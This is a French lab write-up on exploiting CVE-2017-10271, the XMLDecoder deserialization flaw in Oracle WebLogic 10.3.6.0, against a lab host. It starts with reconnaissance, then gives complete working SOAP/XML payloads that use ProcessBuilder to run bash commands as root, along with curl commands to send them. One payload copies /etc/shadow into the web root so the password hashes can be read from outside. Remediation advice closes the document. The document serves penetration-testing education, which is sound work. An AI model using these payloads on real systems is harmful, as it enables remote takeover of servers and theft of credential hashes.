LAB 2 - CVE-2017-10271 : Analyse de la désérialisation XMLDecoder de WebLogic

I. Analyse du système

Analyse des journaux système

Service détecté : Oracle WebLogic Server (AdminServer appartenant à base_domain s'exécutant en mode développement).
Port de connexion : 7001.
Protocoles supportés : http, t3, iiop, ldap, snmp.
Évaluation de la surface d'attaque :
- Le service expose le protocole t3 sur le port 7001. Cette configuration par défaut présente un risque élevé si la version de WebLogic n'est pas corrigée contre les vulnérabilités liées à la désérialisation d'objets Java via RMI (Remote Method Invocation).
- L'interface de la console d'administration web s'exécute sur le protocole http sur le port 7001, ce qui la rend sensible au scan de répertoires pour les points d'accès sensibles tels que /console/login/LoginForm.jsp.

Une fois les ports ouverts de la cible identifiés, nous utiliserons nmap pour scanner le port afin de déterminer son service en cours.

Ainsi, la cible exécute un service HTTP avec la version Oracle WebLogic Server 10.3.6.0 - un serveur d'applications Java d'entreprise bien connu, célèbre pour une série de CVE critiques (telles que désérialisation, contournement d'authentification). Cependant, cette information seule ne suffit pas pour conclure à quelle vulnérabilité spécifique le système est vulnérable. Nous devons scanner plus profondément les composants du service web associés.

Nous allons procéder à identifier ses points d'accès sensibles à l'aide de l'outil dirsearch. Comme WebLogic fonctionne sur la plateforme Java, les fichiers .jsp et .xml sont les cibles les plus sensibles. Nous nous concentrerons sur les points d'accès renvoyant un code d'état 200.

dirsearch -u http://192.168.3.137:7001/ -e jsp,xml,html

/console/login/LoginForm.jsp : Le portail de connexion pour l'interface web de la console d'administration WebLogic. C'est une cible importante pour les scénarios de force brute d'identifiants par défaut ou les vulnérabilités de contournement d'authentification (comme CVE-2020-14882).
/bea_wls_internal/ : Le répertoire d'application web interne par défaut de WebLogic Server. Ce composant permet d'accéder aux fichiers système statiques et d'interagir avec eux.
/wls-wsat/CoordinatorPortType : C'est la découverte la plus critique. La présence de ce chemin avec un code d'état 200 OK confirme que le composant Web Services Atomic Transactions (wls-wsat) est activé et prêt à recevoir des données.
/uddiexplorer et /uddi/uddilistener : Il s'agit du composant UDDI Explorer (Universal Description, Discovery, and Integration) intégré par défaut dans WebLogic Server pour la gestion et l'enregistrement des services web. Ce composant est extrêmement célèbre pour la vulnérabilité SSRF (Server-Side Request Forgery) - CVE-2014-4210. Un attaquant peut exploiter l'interface de recherche de registres publics d'UDDI au point d'accès /uddiexplorer/SearchPublicRegistries.jsp pour forcer le serveur WebLogic à envoyer des requêtes HTTP arbitraires vers le réseau interne backend.

⇒ Réflexion : La coexistence de /wls-wsat (risque d'exécution de code à distance via XMLDecoder) et /uddiexplorer (risque SSRF) indique que la surface d'attaque de ce serveur WebLogic est extrêmement large.

Après avoir identifié deux surfaces d'attaque indépendantes coexistantes sur le serveur WebLogic 10.3.6.0, nous analysons les deux directions :

Vulnérabilité SSRF (CVE-2014-4210) au niveau de /uddiexplorer :
- Impact moyen : Permet d'envoyer des requêtes HTTP indirectes depuis le serveur pour scanner des ports dans le réseau local ou interagir avec des services internes (comme Redis).
- Limitations : N'accorde pas directement le contrôle au niveau du système d'exploitation (OS Level). L'escalade de SSRF vers RCE dépend fortement de la présence d'autres services mal configurés dans le réseau interne.
Vulnérabilité de désérialisation XMLDecoder (CVE-2017-10271) au niveau de /wls-wsat :
- Impact : Critique. Permet l'exécution de code à distance arbitraire (RCE) directement sur le serveur avec les privilèges du processus en cours.

⇒ Décision : Dans le modèle de la chaîne d'attaque cybernétique, l'exécution de code à distance (RCE) est toujours l'objectif ultime car elle fournit un contrôle direct et complet du système (compromission totale du système). Une fois la capacité d'exécution de code à distance acquise, l'exploitation de la SSRF via l'application UDDI devient redondante. En effet, à partir d'un shell RCE, nous pouvons effectuer activement des requêtes sur le réseau interne de manière directe, flexible et plus puissante (en utilisant des commandes système comme curl, wget) sans être restreints par les paramètres de l'interface UDDI.

Par conséquent, en termes de logique de priorisation de l'exploitation, nous décidons d'exclure la voie secondaire (SSRF au niveau de /uddiexplorer) et de nous concentrer entièrement sur la recherche : l'exécution de code à distance (RCE) via la vulnérabilité de désérialisation XMLDecoder au niveau de /wls-wsat/CoordinatorPortType.

Analyse du mécanisme de vulnérabilité et tests

La vulnérabilité racine de CVE-2017-10271 se produit car la classe WorkContextXmlInputAdapter de WebLogic utilise l'objet java.beans.XMLDecoder pour analyser les données dans la balise <work:WorkContext>. Par défaut, cette classe XMLDecoder instancie automatiquement toute classe Java définie sous forme de balise XML. À partir de là, nous effectuons la vérification basée sur une interaction comportementale système étape par étape.

Pour vérifier rapidement l'état actif réel de ce servlet, envoyez une requête de sonde HTTP GET standard :

curl -i -s http://192.168.3.137:7001/wls-wsat/CoordinatorPortType

La réponse renvoie HTTP/1.1 200 OK ainsi que la classe d'implémentation CoordinatorPortTypePortImpl, confirmant que le servlet a été chargé avec succès dans la mémoire JVM.

Vérification du traitement des données POST

Étant donné que les servlets de services web sont conçus pour traiter les données SOAP XML via la méthode POST, nous procédons à des tests comparatifs avec deux requêtes POST pour démontrer le pipeline de traitement des données du système :

1. Requête POST SOAP standard

Nous envoyons une enveloppe SOAP XML standard (avec des espaces de noms complets mais sans contenu d'exécution) pour tester la capacité d'analyse normale de l'analyseur.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>soapenv:Header/soapenv:Body/</soapenv:Envelope>"

Résultat : Le système passe sans problème à travers l'analyseur et indique seulement une erreur au niveau de la couche de logique du service backend (Cannot find dispatch method).

Analyse :

Le serveur possède un lecteur XML fonctionnel sur le port POST, prêt à recevoir et décoder toute la structure d'arbre XML envoyée par l'utilisateur. Cela confirme que le pipeline de données allant du client jusqu'à la mémoire de WebLogic est entièrement opérationnel.

2. Requête POST XML malformée

Ensuite, nous brisons intentionnellement la structure XML (par exemple, en omettant les espaces de noms) pour observer le mécanisme de gestion des exceptions de l'analyseur.

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
-H "Content-Type: text/xml;charset=UTF-8" \
-d "soapenv:Envelopesoapenv:Headerwork:WorkContextinvalid_xml_structure</work:WorkContext></soapenv:Header></soapenv:Envelope>"

Résultat : Renvoie l'exception com.ctc.wstx.exc.WstxParsingException: Undeclared namespace prefix "soapenv".

Analyse :

Chaque caractère, chaque balise XML dans le corps du paquet POST est transmis directement à l'analyseur XML Java de plus bas niveau à l'intérieur de la JVM (com.ctc.wstx) pour être analysé.
Le système n'a aucun point de contrôle, filtre ou pare-feu d'application web (WAF) entre les deux pour filtrer les données d'entrée. Si un filtre existait, le paquet aurait été bloqué dès le début au lieu de pénétrer profondément dans la couche de l'analyseur Java et de générer une erreur système de cette nature.

Conclusion

La combinaison des résultats expérimentaux pratiques et de l'analyse de l'architecture système—depuis le servlet wls-wsat qui reçoit les paquets bruts via le port POST, l'absence de WAF/filtre de vérification au niveau de l'analyseur, jusqu'à la génération d'erreurs brutes du lecteur XML Java directement—confirme que le serveur exécute une structure de service extrêmement sensible qui se trouve directement dans le champ d'application de CVE-2017-10271 (désérialisation XMLDecoder).

Parce que le mécanisme d'analyse par défaut de XMLDecoder ne possède aucun filtre de contrôle de classe, le serveur qui reçoit des données POST brutes sans assainissement est la porte d'entrée parfaite nous permettant de concevoir des charges utiles qui invoquent directement des objets d'exécution système Java dans l'étape suivante.

II. EXPLOIT

Réflexion sur la construction manuelle de la charge utile

Étant donné que le serveur WebLogic 10.3.6.0 fonctionne sur un environnement Java ancien et n'applique pas de filtres de contrôle de classe stricts pour XMLDecoder, un attaquant peut directement injecter des objets Java exécutables.

La classe standard pour exécuter des commandes en Java est java.lang.ProcessBuilder. Nous procédons à la cartographie de cette logique d'initialisation d'objet Java dans un format XML compatible avec XMLDecoder :

Déclaration d'initialisation de classe : <void class="java.lang.ProcessBuilder">
Définir un tableau de chaînes de paramètres contenant la commande à exécuter : <array class="java.lang.String" length="3">
Déclencher la méthode d'exécution : <void method="start"/>

Lorsqu'une commande système est exécutée via ProcessBuilder, le serveur WebLogic exécute la commande en arrière-plan sur le système d'exploitation et ne renvoie qu'un code d'erreur HTTP 500 (il n'affiche pas directement la sortie de la commande dans la réponse HTTP). Ce mécanisme est appelé mappage d'application web — tous les serveurs web fonctionnent ainsi. Le répertoire war/ est la racine du document (Document Root) de cette application. Tout fichier situé dans war/ peut être accédé via une URL courte.

⇒ Pour contourner l'exécution de code à distance aveugle, nous devons trouver le chemin physique—étant donné que la commande id > ... s'exécute sur le système d'exploitation, elle nécessite le chemin réel.

Analyse en boîte blanche pour trouver le répertoire /war

Pour trouver le chemin physique réel de l'application bea_wls_internal chargée à l'intérieur du conteneur, nous exécutons une requête de recherche système directement depuis la machine hôte :

Résultats

/root/Oracle/Middleware/wlserver_10.3/server/lib/bea_wls_internal.war (Fichier de bibliothèque d'archive d'origine).
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal (Répertoire d'application active décompressé dans la partition temporaire _WL_internal de l'AdminServer). En approfondissant ce répertoire actif, nous localisons le sous-répertoire contenant les fichiers statiques : /9j4dqk/war/. C'est la racine web absolue du répertoire de l'application, où l'attaquant dispose des droits d'écriture pour écrire des fichiers statiques afin d'afficher les résultats de l'exécution RCE.

Réflexion : Concevoir une commande pour rediriger la sortie de id vers un fichier statique rce.txt dans le répertoire ci-dessus : id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt

Création de la charge utile d'exploitation XMLDecoder

À partir de l'analyse ci-dessus, nous savons que la classe Java XMLDecoder instancie et exécute automatiquement tout objet défini sous forme de balises XML. Pour appeler des commandes du système d'exploitation en Java, la classe standard est java.lang.ProcessBuilder.

Le processus de mappage du code Java équivalent à la structure XML XMLDecoder :

Code Java équivalent :

String[] cmd = {"/bin/bash", "-c", "id > /root/.../war/rce.txt"};
new ProcessBuilder(cmd).start();

Mappage aux balises XML XMLDecoder :

Créez le fichier exploit.xml sur la machine Kali Linux contenant la structure SOAP complète :

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>id > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/rce.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

Depuis la machine Kali Linux, envoyez le fichier XML contenant la charge utile d'exploitation au point d'accès cible :

curl -i -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" \
  -d @exploit.xml

Vérification des résultats de l'exécution de code à distance

Accédez au fichier statique rce.txt nouvellement créé dans le répertoire racine web :

curl -s http://192.168.3.137:7001/bea_wls_internal/rce.txt

Exploitation RCE réussie. Le résultat de la commande id confirme que le processus WebLogic s'exécute avec les privilèges root.

III. POST-EXPLOITATION

Vérification des privilèges

Le résultat de l'exécution de la commande id renvoie uid=0(root). Cela prouve que le processus WebLogic Server s'exécute directement avec les privilèges root les plus élevés du système d'exploitation. L'attaquant a un contrôle total sur le système sans avoir besoin d'aucune étape supplémentaire d'élévation de privilèges.

Collecte de données sensibles

Un attaquant peut facilement lire des fichiers système sensibles tels que /etc/shadow. Nous créons le fichier exploit_shadow.xml et l'envoyons via la charge utile XML afin que le serveur WebLogic l'exécute automatiquement. Cela ordonne au serveur de lire le fichier et de le diriger vers le répertoire Document root afin qu'il soit accessible depuis l'URL externe.

cat > exploit_shadow.xml << 'EOF'
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java version="1.6.0" class="java.beans.XMLDecoder">
        <void class="java.lang.ProcessBuilder">
          <array class="java.lang.String" length="3">
            <void index="0">
              <string>/bin/bash</string>
            </void>
            <void index="1">
              <string>-c</string>
            </void>
            <void index="2">
              <string>cat /etc/shadow > /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/shadow.txt</string>
            </void>
          </array>
          <void method="start"/>
        </void>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>
EOF

Ensuite, envoyez la charge utile et lisez le fichier depuis l'extérieur :

curl -s -X POST "http://192.168.3.137:7001/wls-wsat/CoordinatorPortType" \
  -H "Content-Type: text/xml;charset=UTF-8" -d @exploit_shadow.xml

curl -s http://192.168.3.137:7001/bea_wls_internal/shadow.txt

La liste complète des comptes système ainsi que les hachages de mots de passe sont entièrement divulgués.

Reverse Shell

Étant donné que le conteneur fonctionne dans un environnement réseau interne isolé (NAT/Bridge de l'hôte Docker), l'établissement d'une connexion inversée (Reverse Shell) directement vers la machine Kali en dehors du réseau local peut rencontrer des obstacles de routage. Dans un environnement réel (production), l'attaquant peut tout à fait configurer un reverse shell si le serveur dispose d'une connexion Internet sortante.

Cependant, la capacité d'exécuter du code à distance (RCE) directement avec des privilèges root et la possibilité de lire/écrire des fichiers de manière interactive via la racine web sont suffisantes pour confirmer une compromission totale du système.

IV. ÉVALUATION ET RECOMMANDATIONS

Évaluation des risques

La vulnérabilité de désérialisation XMLDecoder (CVE-2017-10271) sur ce système WebLogic est évaluée au niveau de risque le plus critique (Critique) :

Recommandations de correction

Pour corriger complètement cette vulnérabilité de sécurité critique, les administrateurs doivent mettre en œuvre les mesures suivantes immédiatement :

Priorité urgente (à court terme) :

Supprimer ou désactiver le composant wls-wsat : Si le système n'utilise pas les fonctionnalités de transactions atomiques de services web (WSAT), procédez à la suppression du dossier wls-wsat.war dans le chemin d'installation de WebLogic et redémarrez le service pour éliminer complètement cette surface d'attaque.
Appliquer le correctif de sécurité (Patching) : Appliquez immédiatement le package de mise à jour de sécurité autonome d'Oracle pour CVE-2017-10271 ou mettez à niveau WebLogic Server vers une version sécurisée plus récente (la version 12c ou ultérieure a remplacé le mécanisme de traitement XML par une alternative sécurisée).
Réduire les privilèges d'exécution du processus : Reconfigurez le service WebLogic pour qu'il s'exécute sous un compte utilisateur restreint (par exemple, oracle), et ne jamais exécuter le processus avec les privilèges root.

Priorité à long terme (défense en profondeur) :

Déployer un pare-feu d'application web (WAF) : Configurez des règles sur le WAF pour détecter et bloquer les requêtes POST vers les points d'accès /wls-wsat/ qui contiennent des balises XML caractéristiques de XMLDecoder telles que <java>, <object>, <void>, <class>, <method>.
Configurer la segmentation réseau : Isolez le conteneur WebLogic, bloquez le trafic réseau sortant inutile (connexions sortantes) pour minimiser le risque de reverse shell ou de téléchargement de code malveillant dans le conteneur depuis l'extérieur.

Déclaration de la classe `ProcessBuilder`	`<void class="java.lang.ProcessBuilder">`
Tableau de paramètres `String[]`	`<array class="java.lang.String" length="3">`
Éléments du tableau (index 0, 1, 2)	`<void index="0"><string>...</string></void>`
Appel de la méthode `.start()`	`<void method="start"/>`

Score CVSS	9.8 (Critique)	Score d'impact extrêmement élevé.
Authentification	Non requise	L'exploitation ne nécessite pas de compte ni d'authentification.
Complexité	Très faible	Nécessite uniquement l'envoi d'une seule requête HTTP POST contenant la charge utile SOAP XML malveillante.
Privilèges obtenus	`root`	Obtient le contrôle total du conteneur avec les privilèges système les plus élevés.
Mouvement latéral	Élevé	Le conteneur compromis peut être utilisé comme point de pivot pour attaquer d'autres conteneurs du réseau interne et le serveur hôte physique.

Populaires

CVE-2017-10271

À propos